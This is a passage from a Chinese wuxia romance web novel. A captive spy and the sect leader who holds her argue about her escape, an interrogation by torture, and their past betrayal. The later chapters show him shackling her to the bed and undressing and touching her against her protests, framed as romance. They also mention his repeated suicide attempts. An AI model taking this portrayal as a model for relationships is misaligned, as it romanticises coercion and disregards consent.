自从在河上不知被顾怀瑾用什么东西打飞了,她耳畔就再也没有过他的消息。 莫非是被他打飞之后,跟丢了? 她心里仿佛忽然被什么东西点着,一点火星,即刻燎原,烧得她浑身直哆嗦。 倘若雾刀不在……她又刚好不在洛京…… 无量山,是顾怀瑾的地盘。如今他今非昔比,这山附近,即便有往生门同僚,也必定比洛京城中少。 如果要逃,这里可比洛京城中方便多了。 说不定。 她可以直接从无量山逃。 她急急站起身来穿衣,赤足踩着盖满花瓣的石阶一级一级走上去,拢着衣领,径直入了密道口。 进了 四象塔,她连头发都未及擦干,用传音入密唤: “雾刀。” 没有人回应。 她站在四象塔的窗前,推开木窗,底下山林遥遥,圆圆的树冠在塔底下,成了一撮撮密密的小绿点,塔底下,云垂并十二个黑衣侍卫严密把守着。 她都不需想,便知以顾怀瑾的性格,定然是又将她软禁了。 窗下,除了顾怀瑾的人,没有一个可疑影子。 她又道:“雾刀。往生门发现我被劫上无量山了没有?” 仍是没有人回。 她手按在窗边,咬着嘴唇怕自己笑出声来,手卡在窗边,握了又握,握得浑身颤栗。 “雾刀。你去哪了?不在?” 她悄无声息把窗关了,滚回木榻上,捂着嘴,捶床一阵痛快淋漓的大笑。 天啊,还有这种好事,还真叫她碰上了啊。 当年,她没能借九曜逆轮出山,终究是遗憾。 如今。 她真是要感谢顾怀瑾。 不过。 一提到顾怀瑾,她神色复又沉重起来。 他…… 他那个人,专情又敏感,这么多年,他好似还未放下。 如果她不留音信地跑了,他不知又要怎样崩溃。 是她太自恋了吗?她总觉得他又会崩溃。 她想了想,终于还是决定给他留一张字条。 拿着他的毛笔,在他练了一半的字帖上裁下一块。 “勿念。各自珍重。” 写好了,思忖半天,从架上拿下一卷佛经。 佛经,他从前便时时放在手边翻阅,后来经历变故,出家当过一段时间的和尚,更是佛经不离手。 放在佛经里,他早晚会看见。 只不过,不要看见得太早。不要未等她跑,便被他发觉了。 她四下里一看,窗下木桌上,已经放了一卷佛经,书架上,又放着一卷一模一样的。 既然有一本在桌上,想来书架上的这一本,不会常翻。 她将那张字条仔细折好,小心夹入那本佛经里,放上了书架。 写完了字条,她想了又想,又拿起一张未写过的字帖。 将往生门的地址、架构、需防范之处、需防范之人,一一写好。 写完了,珍而重之地折好。 这一回,甚至没有藏在他的佛经里。 倘若他要去往生门报仇,也得等她跑得干净了之后再去。不然,她与他关系匪浅,万一他先去往生门内寻了仇,她又倒霉被抓了回去,不知会被怎样折磨。 面对叛徒,往生门可不似顾怀瑾。 她将往生门的地址藏在了他的枕头里。 做完这一切,她心中舒爽许多,盘腿坐在榻上,只觉心内轻巧,开始盘算起逃跑的细节来。 最大的问题是,她的暗器、药丸都被他收走了,连她引以为傲的蛛罗丝都不在身边。 不论如何,那些小器物,她得带在身上,再走。 今夜,顾怀瑾或许还会回来找她对峙。不若趁着这个机会,问他这些东西在哪。他那个人,对她一向有求必应,没准她要了,他就给了。 虽然……她不过是借着他的纵容和爱,离开他。 她眼神黯淡下来。 又要对不起他了。 不知什么时候开始,想到他会伤心,她也会跟着伤心。 她坐在榻上,曲起膝盖,心烦意乱地扶着额头。 刚才,一句话就惹得他难过了,要不要哄哄他,道个歉。 * 顾怀瑾直到夜里才来。 他来的时候,南琼霜正合衣在榻上睡着,沐浴后的发仍未全干,铺在他的榻上,泛着潮湿的光泽。 他在床榻对面的木椅上坐下,自己斟了杯茶,望向窗外。 窗外,千山重重,月影茫茫。 怎么这么像,当年兰阁禁地那一夜啊。 他不明白,明明已经是五年以后,为什么那一夜,依旧反反复复地找上来。 他回去看床榻上的人。月亮升起来了,四象塔地势格外高,月色就格外亮,自简陋的窗投进来,照得屋内一片透澈,水底似的。 只有他的床榻,被墙的影子挡着,突兀地截在黑影里,看不清晰。 榻上的人,一半在明,一半在暗,阖眼,侧着身子睡着。丝缎般的长发铺开在身后,眼睫翕垂,睡着的时候,格外有一种惹人怜爱的无瑕。 不论怎么看,都是当年天山上的那个人,可是,却怎么看,怎么不一样了。 哪怕,连她沐浴后的发香都还一样。 他不想再看了,自袖中掏出那一条黑绸带,缚在眼上,系在脑后。 不该再看她,真的不该再看她了。 她已经欠了天山派太多。 分开那几年,他占卜算出她或许还活着,抱着一丝卑微渺茫的希望,强撑着捱过了那五年,强撑着等着见她。 他以为,只要见了面,就能听到她的解释,只要见了面,真相就能大白,仇还可以报,他的错尚可以弥补,他们之间的纠葛还可以解开。 不想,真见了面,才知道,真要到此为止了。 他自己也不明白,为何都出了那样的事,那五年,仍是放不下她。 或许,是因为从前,她什么都陪着他。 或许,是因为从前,人人用他,人人不念他的好,唯有她,真正在乎他。 或许,那都是假的吧。 他一度也相信过往一切全是假的。他因为这种念头,好过了很久。 后来,却在法门寺前,找到了她不知何时写给他的平安牌。 千不该万不该之中的一点保全之心。 因为这一点保全之心,她失手了,慌不择路,坠下悬崖。 是从那块平安牌开始,他才不得不承认,她或许根本不是失手。 她根本就没想杀他。 于是,设局人代替局中人死了,就在他眼前。 她那一点恻隐,后来几乎杀了他。 再后来,他在漫山的拍手称快之中跟着叫好。喏喏地跟着应,指天指地,言辞激烈,说善恶终有报,恶人有天收。义正辞严地说要严惩,开水 牢,放鳄鱼,利用全部人脉,上天入地,掘地三尺,也要把当年的细作挖出来。 没有人知道,他上天入地、倒海翻江地寻她,究竟是为了做什么。 其实,或许他自己也不知道。 是真见了她以后,才知道放不下,才知道肯原谅,才知道见了面就受不了,才知道想问问她,想吻吻她,不用她求他原谅,他已经想原谅。 她用她的坠崖清空了他的恨,又用平安牌证明了她的爱。一个身不由己之人,为了保他,那么弱的身子,一个人坠了崖,她还有命活吗? 假如她能活下来,他又有什么不能原谅的。 后来,他甚至想,还好她当年没有抱着好心思来接近他。不然,他只怕真的会发疯。 他从来不觉得她欠他什么。如果真要说欠,不过是欠天山派。 所以,只要她肯弥补,只要她把往生门的内情告知,容他去报仇,只要她给他赎罪弥补的机会——他连灭门之仇都可以放。 天山被往生门灭了,他便覆灭了往生门,如此,账也算平了,再有什么罪责仇怨,也该算在他这个当年的少掌门身上,她可以摘出来了。 他万万没想到,她不肯。 经历了这么多事,这么多年的爱恨,他排除万难终于又见了她,才知道她虽然爱他,但不肯。 她执意站在往生门一边,与他作对。 顾怀瑾手指勾着茶杯,人抖得几乎拿不住,茶不住地往外漾,洒在他黑色衣袍上,滚烫的,洇开一团。 人,还是那个人。她以为她与从前截然不同,其实不然,相同之处,至少有一半。 但是,这一回,他真的不能再爱她了。 一个覆灭了他的门派、存心毁了顾氏三百年基业、不知悔改也不愿补偿的——仇人。 他真的不能再爱她了。 他怎么也没想到,五年来,一直以为见了她,事情便可以转圜。谁知,真见了面,才知道,结束了。 真的,结束了。 他爱的那个人,不曾死在含雪峰下,死在了无量山,四象塔。 月色底下,他缓缓开了口:“娘娘。” 第125章 南琼霜悠悠睁开眼。 木窗外月色凋寒,澄明彻骨。木窗前的椅子上,坐了一个玉山般的人,逆着光,只余一个漆黑的剪影。 她慢悠悠眨了眨眼。 他怎么又把他那条绸带缚上了。 “怎么坐在那。来多久了。”想着白天刚伤了他的心,明日便要分别了,她朝他伸出一只手,嗓音里带点撒娇的鼻音,“过来呀。” 顾怀瑾不说话,只是拿起茶壶,自斟了一盏茶。 南琼霜默然无言地看着他抖着手将茶倒在了桌子上,淅淅沥沥地流到桌边,滴下来。 她心里顿时便如明镜,披着长发,坐起身子。 “怀瑾。” “顾某今日来,是因有些事,不得不问娘娘。” 她笑了: “你讲。” “娘娘知道顾某想要问什么。”顾怀瑾面无表情擦拭着桌上的水渍,“娘娘仍是不肯说么。” 她坐在榻上,鬓发未梳,白衣未系,人如云雾一般,仿佛一吹就散了。 “娘娘明知顾某因往生门家破人亡。” 她闭了闭眼,偏开头。 “即便如此,娘娘仍是不肯告知么。” 她只是一阵长久的沉默。 顾怀瑾等她开口,等了许久。 意料之中的拒绝,意料之中的事不关己,意料之中的袖手旁观。 为什么,她明明心疼他,却放任他因为这种事痛苦。 她明明知道,他最在乎自己的门派。 他道:“娘娘究竟为何非效忠往生门不可。” 南琼霜在榻上抱起膝盖,出神地想了许久。 半晌,她轻轻道,“我不是效忠,我是为了赎身。” “赎身。”他平静重复了一遍,“娘娘也想离开往生门么。” “是离开,不是叛。” 既然已经决定要从无量山逃走,她不大在乎是否要守口如瓶了。 她歪了歪头,小孩似的将脸搁在膝盖上,抱着膝望着他,一种倨傲又疏离的乖巧: “只待手头上的任务结束,我便做满了数,可以离开了。为了这一天,我在门内拼死拼活做了十二年,好事坏事都做过了。因此,愿意也好,不愿意也罢,早已没有回头路。” “所以……” “所以,”她摊开手,“不论你以为这条路是错是对,我都只有走下去。” 今日他来,是抱定了只问公事,不问私事的心思。昨日已经放纵过,他不论如何再没有徇私的理由,天山派因她而倒,他的私情,早该放了。 “既然娘娘执意如此,”他拿起茶盏来喝了一口——他终于稳得住茶杯了,“顾某也无法说什么。不过,往生门的内情,顾某是不论如何一定要知道的。娘娘既然执意与顾某,与天山作对——” “作对?”她挑着眉毛笑了。 “娘娘站在往生门一边,便是与顾某作对。”他礼貌颔首。 她静静听着,觉得他说得对,也有意思。 “我没有在同任何人作对。我只是在做我该做的事。不过,以你的立场,若要这么说,也并无不可。”她懒洋洋向后靠在墙上,“顾怀瑾,我们二人本就殊途,早该一刀两断。” “嚓”一声,他手中茶盏一刹那崩裂炸开,一兜热茶顷刻泼在桌面与他的衣摆上,他沉默着忍烫,垂首将碎瓷拣在一处,面无表情。 “是否该一刀两断,由娘娘决定。娘娘若要叛,当年之事可以不作数,顾某用情依旧。倘若娘娘……” “不作数?”她带着点讥嘲笑了,为什么他还没有看清他自己。 他没理会,自顾自说下去,“……倘若娘娘不叛,我们二人,确实是只能到此为止。” “顾怀瑾,”她转着自己长发,似乎有点懒得理会,“你到现在,还没有明白你自己么。你不是会宽宥这种事的性子。你如今愿意说一句原谅,不过是因为,五年未见,以为我已死,忽然见了面,难以自处罢了。我若是答应了你,真叛了门,与你相处下去——” 她眼神里迸出一点碎冰般的光,也不知是泪,还是决绝,“等相处些日子,灭门之仇,你就想起来了,你就又放不下了。到不了手的,不论如何都想要,一旦到手,坏处就全看见了。人都是这样,你以为我不明白么?” 顾怀瑾一句话也说不出。 他没想到她会用楚皎皎的脸,说这些话。 剔透聪明,但聪明得太寡情,近乎刻薄。 或许她说得对。人好似都是这样。 那他为什么放不下? 整整五年,也不算短了。为什么他还是放不下? 他颤抖着深吸了一口气,只觉疲乏。 “何况,叛门,不是说叛就能叛的。我在门内苦心经营十二年,其中艰难困苦,非置身其中之人,不能体会。多年心血,岂能功亏一篑?那不是说放,就能放的。” “至于叛门,虽然也得以脱离,但那条路,凶险异常,又岂是一拍脑袋,说叛,就叛得了的。我能安生地走,又何必苦苦挣扎着逃,就为了一场情爱?” “娘娘是说,为了我的爱和原谅而叛,不值得。”他声音抖得不成样子。 “不牢靠。” “哪怕,生离死别,五年音讯全无,你害我家破人亡,我依然爱你。” 她忽然落下泪来。她也没想到,他一句话,顷刻就能让她落泪。 但她没接话。 “哪怕,出了这种事,我依然肯原谅。” 她伏在自己膝盖上,泪水将衣裳打湿一小滩,她哆嗦着笑开了,“你看,你还不明白。你原谅不了的,不过是些大话罢了。” “既然如此,”他站起身来,将桌上沾了茶水的佛经拿去窗外抖着水,“顾某与娘娘也没什么好说了。不过,当年天山之祸,便是因为顾某徇私,”她听了这话,苍白着脸合了眼睛,他继续道: “如今,怎么也该以从前为鉴,不能再私大于公了。有些事情,不论娘娘愿或不愿,顾某务必从娘娘嘴里知道。不知娘娘昨日说希望顾某用刑,这话还作数么。” 她轻轻笑了,头侧着贴在膝盖上,眼泪在鼻梁的窝里蓄满了,蜿蜒着往下滑。 她点了点头。 兜兜转转,还是到这一步。 “娘娘想用什么刑。”他背对着她,对着月光,将沾湿了的书页一一分开。 “我自己挑么。”她有点意外。 “不是娘娘说的么,要自己挑个死法。” 她想起来了,是来无量山的船上,她靠在他膝头说的话。 说得这么平静,仿佛从前他要她挑首饰似的。 她尽量把声音里的鼻音掩去:“针。” “好。”他将那本佛经晾在窗子底下,手撑在桌子两边,垂首许久,“顾某无法对娘 娘下手,会有专人审讯娘娘,还请娘娘多怜惜自己。” 她流着眼泪,莫名其妙地噗嗤一声笑了出来,“这是我说了算的么。” “娘娘若说,即刻便停,无人敢多动娘娘。”他背对着她,从前思念若焚,如今人在眼前,却无法回头看她了,“最后问娘娘一遍,当真要如此么。用了刑,两人只能分道扬镳,再无回头路了。” “你也可以不审啊。”她从膝盖里抬起头,抽噎着。 “你也可以选我啊。”他回过身来,轻轻说。 他这话一接,她旋即笑了。 原本就是她害了他,如今又放着他独自痛苦,不肯体谅,她哪来的脸面要他不审啊。 愿意给她选择,已经是仁至义尽。同样的事,落在她身上,她早将人杀了。 “选我吗。”他最后问了一遍,声音轻得哄她似的。 她紧闭着眼,泪水从眼睫底下滚滚淌落,下不了决心。 “霜儿。”他背过身,将碎瓷片拣在掌心里,平静得仿佛闲聊似的。 “从前你问我,我和你,我选谁。我毫不犹豫就选你。” “后来,我的门派因为你覆灭了,所以你和门派中,我选门派。” “但是,同样的问题,倘若问你。” “恐怕,我和你之间,你一回也不会选我。” 她捂着嘴抽噎起来,几乎将自己憋得窒息。 顾怀瑾转身去书架上挑了几册书,声音依然温柔: “我不怪你。想必,你有你的苦衷。但是,”他抱着书,轻轻开了门,“我们只能到此为止了。” 这句话一出,尘埃落定,她反而如释重负。 她双肩松懈下来,泪水依旧连成串扑落,人却不发抖了,咬着唇。 “你会叫他们杀了我么。”她回头叫住他。 顾怀瑾脚步顿了一瞬,但没看她,“不会。”停顿一下,又道,“一直不说,也不会。” “不过,霜儿。”黑暗里,他久久凝望她,“好好照顾自己。” “既然如此,顾怀瑾,我有个问题。”她将膝盖放下了,伏坐在床上,黑发白衣迤逦满榻,在他眼里,仿佛一只哀哀的折翼的仙鹤,“倘若要你选,我叛门,但音讯全无,与不叛,但在你身边,你选哪个。” 他沉默着听完,还是沉默。 末了,没听见一般,拉着门关了一半。 “我是说,”她急急叫住他,眼圈通红,“你放我出山吧。如果你愿意放,我马上就可以说。” “放了,去哪。”他缚上黑绸,就冷峻得不近人情。 “说不好。哪里都行。或者,正是因为不知道要去哪,才安全。” “不行。”他拉着门关上。 “为什么不放?”趁着门还未全关,她惶急开口,“从前在天山上,三月之期,你都肯放。现在又为什么不肯?” 从前……从前。 他仰起头,恍恍惚惚忆起些从前往事。 那时,还不曾真的失去过,所以装大度,说能放。 “你宁肯审我,也不肯放我?” 他拉着门,轻轻合上了。 只给她三个字:“放不了。” 在他手里,要不要审,怎么审,全由他说了算。 真放了,就是一滴水入海,再也找不着了。 门终于关上了。四象塔内,一片死寂。 南琼霜伏在榻上,满面泪痕,筋疲力竭地闭了眼。 封山门禁全开着,水里还有鳄鱼,即便要跑,她也不知道跑不跑得成。 但是,跑不成,也要受刑。 明明……明天,不是诀别,就是受刑。 他今晚,居然不肯留下来陪陪她。 她终于趴在枕上,泪湿枕衾。 然而,她怎么也没想到。 夜里,顾怀瑾又来了。 第126章 其实,南琼霜自己也不知道自己在哭什么。 既然选择了不叛,那么,他会说一刀两断,是自然的事情。 他会用刑,也是自然。 一个一心为公、把门派看得比自己性命还重的人,对她这个窃山仇人,能够做到这一步,已经算顾念旧情。 是她奢望得太多了。 人为什么要爱?倘若不爱,不过是针刑,她未必不能忍受。 倘若不爱,当年,她第三个任务绝对可以圆满,不必至今还赖着往生门半个任务的账,也没有今天这些纠结难断的事了。 她垂着泪,打开房间深处他的密室,走进去,躺在摇椅上。 她喜欢他的密室。隔绝外界,寂静安稳,石墙砌得厚,外面风吹雨打也听不见。 密室中烛火昏黄。这里的蜡烛,他不常换,蜡油一层一层堆叠,摞在烛台内,凝成厚厚的崖。 她在摇椅上一下一下摇着,闭上眼睛。 昨晚,他还在这里一边吻她,一边哄她。 明天,她就要上刑了。 昨天,本应该更珍惜的。 她仰在躺椅上,烛火的光透过眼帘,映出一点黯淡的旧黄的光团。她深吸了口气,满屋子都是他怀里的味道。 就好像,他在这一样。 不该爱吧。 当年动心,就是自讨苦吃。他们两个都是。 她蜷在摇椅里,一摇一摇,渐渐晃得困了。 她自己也不知道自己是何时睡着的。 自然也不知道顾怀瑾何时开了上塔的门,将外面的房间仓惶搜过一遍,又仓惶走了。 等她从睡梦中被人一把摇醒,眼睛一睁,登时对上一张巫傩面具般挂着血印的脸,身经百战的人,心里也咯噔一下。 她小心翼翼望了望他,又望了望密室门口一众高得如森林一般的黑衣侍卫,吞咽了一下: “……怎么了?” “你怎么在这?” 他蹲在她摇椅前,与她相对,声音破碎得吓人,仿佛一地碎得捧不起来的冰。 “什么……我怎么在这?” 她狐疑又往门口望了一眼。 顾怀瑾衣袖一挥,满屋黑衣侍卫拱手退下,散开了。 她往外面一望,才见密室外的房间,一派凌乱,早被人搜了个干净。 她眨眨眼,惊疑不定地拿袖子擦了擦他脸上的泪印,“哭什么。怎么了?” 顾怀瑾蹲在她面前,仿佛体内正有一座火山轰然喷发,却被他咬着牙将所有岩浆都憋回了地面下,垂下头,深深、深深地呼吸。 握着摇椅扶手的手,用力到几乎哆嗦,砰一声,扶手炸成两截。 她匆忙躲了一下,“干什么。你到底是……” “起来。” “啊?我睡会觉。你那张木榻……” “起来!” 未及她反应,顾怀瑾拦腰将她从摇椅上抱了起来,两步跨出密室,不由分说地将她往榻上一扔。 那木榻硬得人简直睡不了,她兀地被人一扔,砸在榻上,只感觉骨头都磕疼了,痛呼一声,翻身大怒,“做什么!哪有这样扔人的!你这张破木榻……” 未 及话音落下,顾怀瑾朝屋内仅剩下的云垂开掌,“铁铐。” 云垂恭敬奉上一双带着铁链的手铐。 她在榻上错愕一顿,“又要干什么。软禁在塔上,还要铐住我?” 两只手铐喀拉一声锁上她细腕,分别拴在架子床两侧的立柱上。她目瞪口呆,不及反抗,就被利落铐住,惊怒之外先是哑口无言,气得笑了。 “到底要干什么。深更半夜的睡会觉,莫名其妙地进来吓人,又莫名其妙地给人拴在这。有病?” 顾怀瑾一言不发,站在榻边望着她,长发、衣襟、绸带连着脸色一齐黑得不见底,人站在那,好像一个无声但阴恻恻的鬼。 没有话给云垂。 她揣摩又揣摩,斟酌又斟酌,惴惴不安地不告而退。 撞见自己家阴郁莫测的主子,被传闻中的旧情人冷嘲着骂,她不论如何,不敢上前触他的霉头。 云垂悄无声息地走了。 顾怀瑾一挥袖,房门嘭一声关上。 四象塔上顿时只剩他们二人。 “到底要干什么。”她不耐道,“明天还要上刑,还让不让人睡觉了?” “怎么回事。”他自袖中哗啦一声甩出一张带字的纸,抽得空气飒然作响,飘飞到她面前,“说。” 她捡起来一看,是她白日写给他的字条。 “勿念。各自珍重。” 她叹口气,不胜其烦地翻了个白眼。 方才,两人谈话时,一说到一刀两断,他那茶盏好似被他不慎崩碎了,茶水泼到他常翻的那本佛经上,被他晾在了窗子底下。 而后,去取了书架上那本夹了字条的佛经。 真是有够巧的。 她闭了闭眼,恼得不知道说什么好。 “既然你看见了,那我们直说吧。”她伏坐在榻上,云一般的广袖在凌乱的衾被上垂落,抬起眼,眼里一片不容动摇的雪色,“此事我方才想过许久。这是最好的法子了。先生为何不同意?” 顾怀瑾长身立在她榻前,垂首听着,却仿佛听不懂似的。 “什么最好的法子。” “先生放了我,我从无量山逃。如此,也不涉及什么叛或不叛的,我走之前,会将一切告知先生。” 他笑了一声。 “又要骗我。从前天山上还不够吗。你的那些线人、内应、帮手和苍蝇呢?在哪候着?既然来了,叫他们一起来。”他语气骤然阴狠,往外吐毒钉子一般,“来一个,我抓一个。抓一个,拷打一个,一个一个,全给我把实情吐干净。全说了,再打死。来的越多,顾某也不必跟娘娘死磕了。” 他究竟在说什么。 “没有内应,没有线人!”她急道,“正是因为只有我一个,我才能逃。” “逃?” “这里没有我的同僚,我可以一走了之,再也不必为往生门卖命了。所以,”他在木榻对面的椅子上撩摆坐下,她柔声劝,“先生可以知道想知道的一切。” 顾怀瑾只是默然不语。 南琼霜不明白他为什么沉默。 不是打定了主意,横下了心,非听见几句实情不可吗? “娘娘逃了,去哪。”他又问了一遍。 “没有确切的去处,不能有确切的去处。正是因为不知道去哪,才安全!” “若如此,不行。”他斩钉截铁。 不容商量的口吻,她几乎怔了片刻。 “为什么不行?先生不是要实情吗?” 他不答。 “我不明白先生究竟哪里不满意。先生既然已经在我和往生门内情之间做出取舍,舍我而取内情,那么,我去之前,也会给先生内情。若如此,我今生夙愿得偿,也不在乎什么叛不叛,任务不任务的了,你我二人之间的荒唐孽缘——” 咔擦一声,他手中把玩着的毛笔骤然断作两截。 她一下子顿住了话,不敢出声。 他依旧没说话,面色不动,胸口深重起伏,听着。 隔了两刻,她才小心地接,“……也可了结。先生既然又想知道当年之事,又想与我这个仇人一刀两断,放我出山,两全其美,岂不是最好?” “两全其美。”他笑出了声音,意味深长地呢喃了一遍,起身开门,“不行。娘娘不必再说了。” “怀瑾!”她扑到床头,房间门正在床头边,她探出身子抓住他的胳膊,手铐铁链一阵咔啦的响,她急切道,“为什么不行!” 顾怀瑾偏开脸,极力压抑着似的,垂首深深呼吸。 良久,他白着脸笑了一瞬:“你说呢。” 她握着他的袖子,一时不知说什么好。 “你该不会因为旧情,不肯放我,却要审我吧。”她抓住他的袖子,不敢置信地吞咽了一瞬,“选往生门,选天山,是你自己选的。你既然选,我便给。你该不会既想要我,又想要内情?” 他依旧不说话,缚着黑绸的脸朝着她。 一旦戴上那根绸带,她就瞧不出他的情绪了。 “我们本就殊途,本就不可能的。你以为,就算把我强留下来,明日用刑,我们还能如初吗?不可能的!你说得对,用过刑后,我们就到头了,”她开始哽咽,顾怀瑾面无表情看着她泪花泛上眼眶,“到那时候,就算两个人天天在无量山上对面相处,也是物是人非,相看两厌。你又何必!” “放不了。娘娘免开尊口。” 顾怀瑾转身开了门。 她坐在榻上,怒得简直发抖,顾怀瑾正将门阖上,她大喊一声,“顾怀瑾!” 他关门的动作霎时停住了。 “你究竟想怎样?!你成全我,我成全你,这么多年,彼此都有一点感情,保全体面总好过撕破脸皮……” “一点感情。”他气得笑了,仰起头,疲惫喟叹一声。 “当断则断,总好过相看两厌,彼此体谅一点,又有什么不好!难道非要强人所难,到最后看彼此鼻子不是鼻子,眼睛不是眼睛,天山上的相处也全忘了,日日只剩怨怼!”她握住他的胳膊,“往后再也没有往后,且连从前也一点不剩,这就是你想要的吗!” 顾怀瑾站在门口。房间内没有点灯,惨白的月光投进来,将他泡在其中,仿佛他是个阴冷的溺死的水鬼。 他只觉天旋地转。 好累啊。为什么她永远不懂,不在乎。 她握住他胳膊的手紧抓着:“怀瑾!” “娘娘倒是一向放弃我,放得轻巧。”他轻轻将她的手拨下去,“说不见就可以不见,说诀别就可以诀别,说走就可以走得干干净净。我对娘娘算什么?什么也不算。” 她一时竟说不出话来。 “多年前,兰阁禁地,我看出娘娘要离山,那般痛苦,娘娘收手了吗。那时我就晓得,我不过是娘娘一个……随时可以抛下的物件。”他叹了口气,全身力气都被抽去了一般,虚浮着扶住了门: “经年未见,如今一看,还是如此。娘娘倒真是如初,不必对我说什么从前是演戏。你演什么?从最以前,就是顾某一个人的笑话罢了。在娘娘那,也不过‘一点感情’。” “此事娘娘不必再提了。既然是娘娘落在顾某手里,不是顾某落在娘娘手里,鱼与熊掌是否要兼得,顾某说了算。娘娘好好休息。” “顾怀瑾!”她扯住他,“你搞清楚,是你要对我用刑,是你要放弃我!” “那么,”他道,“——你放弃我的时候还少吗!” 嘭的一声巨响,震得门框直摇晃,她定睛一看,门板竟被他一挥袖整个挥飞了,满屋崩碎的木屑四溅,他黑绸底下两行鲜艳泪痕,“从以前,到现在,你又有哪一次是选过我的!” 她哆嗦着嘴唇,试探着去牵他的袖子。 “对,从前也有一次,就是兰阁禁地那一夜。就那一晚,你选了我。选我一回,叫我惦念到现在,隔着窃山之仇,设局之恨,冒天下之大不韪,还放不下。”他声嘶力竭,“实话告诉你,我倒情愿你那一晚没有选我!” “你以为我那五年是怎样活的!门派因我一夜倾颓,人人都提醒过我你是细作,人人都在背后议论我,我却爱你,不论如何都信你,最后又是如何!” “你真以为,那一夜你留下我,我就活得了吗?!我巴不得死!难道你以为,留我一命,是为我好吗?假如你真为我好,我与镇山玉牌,你宁杀我,也该留下镇山玉牌!” 她瞬间喷出两行眼泪,从眼底往下冲落。 “留下我,放我一命,让我作为阖山罪人活着——这就是你的怜悯!谁稀罕你这种怜悯!你不是不懂我,若真怜悯我,怎会取走镇山玉牌,你明知道我宁愿自己死!留下我,不过是你爱我,是你自己一点私心——” “对!是我一点私心!”她含着眼泪。 “你那一点私心,焉知是害我还是救我。那一夜过去,我活着,五年间,我自杀过二十七次——” 她抖得不成样子,终于撒开了他的袖子,气息奄奄地伏在榻上垂泪,人几乎瘫倒,他歇斯底里,“是为了见你,为了听你一句解释,我才苦苦撑着活到今天。结果真见了你,你对我说,你不信我,说我爱你不过是些大话……” 他抽噎起来,堂堂一山掌门,失态到几乎站不稳,“那么,我又有什么好说。你要受审,我当然审。你要受刑,我当然让你上刑。难道我还能再偏私吗!” 她趴在枕上,脸埋在胳膊里,肩头一下一下耸动,脑子里一片空白。 第127章 “你从来不肯选我,我只好选我自己。”末了,他平静道,“不放。” “从无量山逃,你别想了。无量山我管一天,你就在我手里一天。自由?这种东西,我给不了。就算分道 扬镳,你也得在我眼皮子底下。” 她在泪水里,强撑着抬起头,紅着眼睛,“在眼皮子底下,但要一刀两断。你也真是有病!” “对!有病!是好是坏、是生是死,不论你再爱谁不爱谁,不论你我有无可能,都得在我眼皮子底下!告诉你,本就是你欠我!” “即便得不到往生门的情报,又相看两生厌,也不肯相忘?!” “对!” 她伏在榻上垂着头落泪,纤细的脖颈弯得几乎折断了,凸起一块伶仃的骨头。 他看了,便不忍心,抬步欲走。 “好。”她又抬起头来,通紅的婆娑的眼睛含着恨: “既然一刀两断了还要强留,那么,我不可能说的。我们一起回洛京去。看皇上还能容你关我多久!等回了洛京,你就在一旁看着吧,不管我是做皇上的妃子,抑或摄政王的妃子,”他的步子骤然停了,静默立在门口,“都与你毫无干系!” “再说一遍。”他回过头,轻声说。 她忽然感觉满屋空气重得像铁,当一声砸在地上,嗡鸣声盘旋。 “再说一遍,娘娘。”他又道。 她不知为何,忽然有些悚然,缓慢从榻上爬起了身子。 顾怀瑾在满室黑暗中,不发一言幽幽面朝着她,良久,抬步走近,坐到她榻侧: “再说一遍啊,娘娘。” 她不敢开口。 他莫名笑起来,抬手,怜爱地蹭着她的脸细细抚摸,从脸颊一直到下巴,冰凉的皮肤冷硬的骨,毒蛇一般的温柔: “我还没问娘娘呢。我撒手两年,乖乖成了娘娘了,有意思。” “眼下倒好,原来乖乖不仅想做珍妃娘娘,还想做摄政王的娘娘。乖乖多招人喜欢啊。” 他那语气,说得她身上一阵战栗,匆忙手脚并用地往床榻深处躲,忽而腰上缠了一只手,她刚愣怔一瞬,即刻便被人拖回床中央。 她仰在衾被上,只见他回身一开掌,方才被他在掌中折断的毛笔倏地钻入他掌心,他俯低身子压下来。 顾怀瑾不紧不慢地将两截断笔缠在她铁铐的铁链中间,卷得两根链子短了一截。 她两只胳膊一瞬被抬高,两腕吊起,人躺在枕上,动弹不得,眼睁睁看着他单手撑在她身侧,慢条斯理地解开她腰间的盘扣。 “……你干什么。” 顾怀瑾弯着唇,掀开她交叠合拢的衣领,顺着她的脖子亲下去。 两根铁链骤然被她绷紧。 她本就刚从长生泉中出来,连头发都未干,衣裳只是松松一系,顷刻就滑了一只手进来,冰凉地覆在她心口。 从前,他手掌总是热的,可是今天,凉得叫她心惊。 她咬着唇挺直了背,铁链喀拉喀拉的响,她难以忍耐地闭了闭眼。 “你做什么!明天还要上刑,你今晚还不给我睡个好觉?!” 顾怀瑾不答,剥糖纸一般悠哉掀开了,从下巴,到脖子,到锁骨,一路细嗅,鼻尖轻轻的呼吸带的她全身汗毛翕拂,她浑身不自在扭着躲开,一边道:“顾怀瑾!” “如今唤我,都连名带姓了。”他笑起来,手穿过她腰底下环住,一面压到她颈侧含.吮,她夹着颈窝忍痒,浑身一阵一阵过电,忽然又感到他手掌抚着她小腹,一下一下,声音在耳边响起:“真是娘娘架子,我们做臣子的……”他团团揉着,“……真是妄想不得。”(审核,揉的是小腹。) “顾怀瑾!” 他这个人……怎么…… 从前他……从前他可是连吻一吻,都不肯的。 “原来娘娘还知道我叫什么。”他笑,指尖慢条斯理将她领口一颗扣子挑开,支起身子来心满意足地欣赏。 拆了一半的牛轧糖。芬芳、温腻、香软、郁白,满身紅痕,像玫瑰碎。 她连呼吸都咬紧在齿间,浑身颤栗。 “不过,娘娘不久,就不知道了吧。” 他好整以暇地玩她身上的吻痕——他从前,把这当做是盖章,还为此心安过,现在想来,太天真了。 “摄政王的妃子。有意思。” “那么,算顾某捷足先登了。我倒是一直以为我与娘娘是两情相悦……”他俯下身子吻了吻她颤抖的双睫,“不过,也没什么。时至今日,娘娘对谁用情,已不重要了。”她仰着头嘘叹,手被吊着,蹙眉忍耐他抚着心口的手掌。 “既然早晚也要断……今晚断也是断,受了刑断也是断,那就今晚断吧。我何必惹娘娘不快。” 他在榻上支着腿坐起来。 她勉强睁开眼,只见自己不仅呼吸乱了,身上也已经汗湿,可是他,竟然衣冠楚楚、作壁上观地坐在榻边,谪仙一般的疏朗英俊,那根绸带一绑,更仿佛戏耍了她,却连看都不愿看一眼似的,心里恼恨极了:“那你还摸我做什么!” “顾某同娘娘缘分尽了。”他说得从容,转身下了榻,“此后即便相见,也是诀别。临别前,送娘娘件礼物。” 她轻轻呼吸,不知是痛还是轻松。 他转身取了只毛笔来,蘸了墨。 走近,按住她的肩,压在榻上。 肩上半依着的薄衣尽数委下,他笑着道,“娘娘还记得,顾某当年是山上第一丹青手么。” 她一愣。 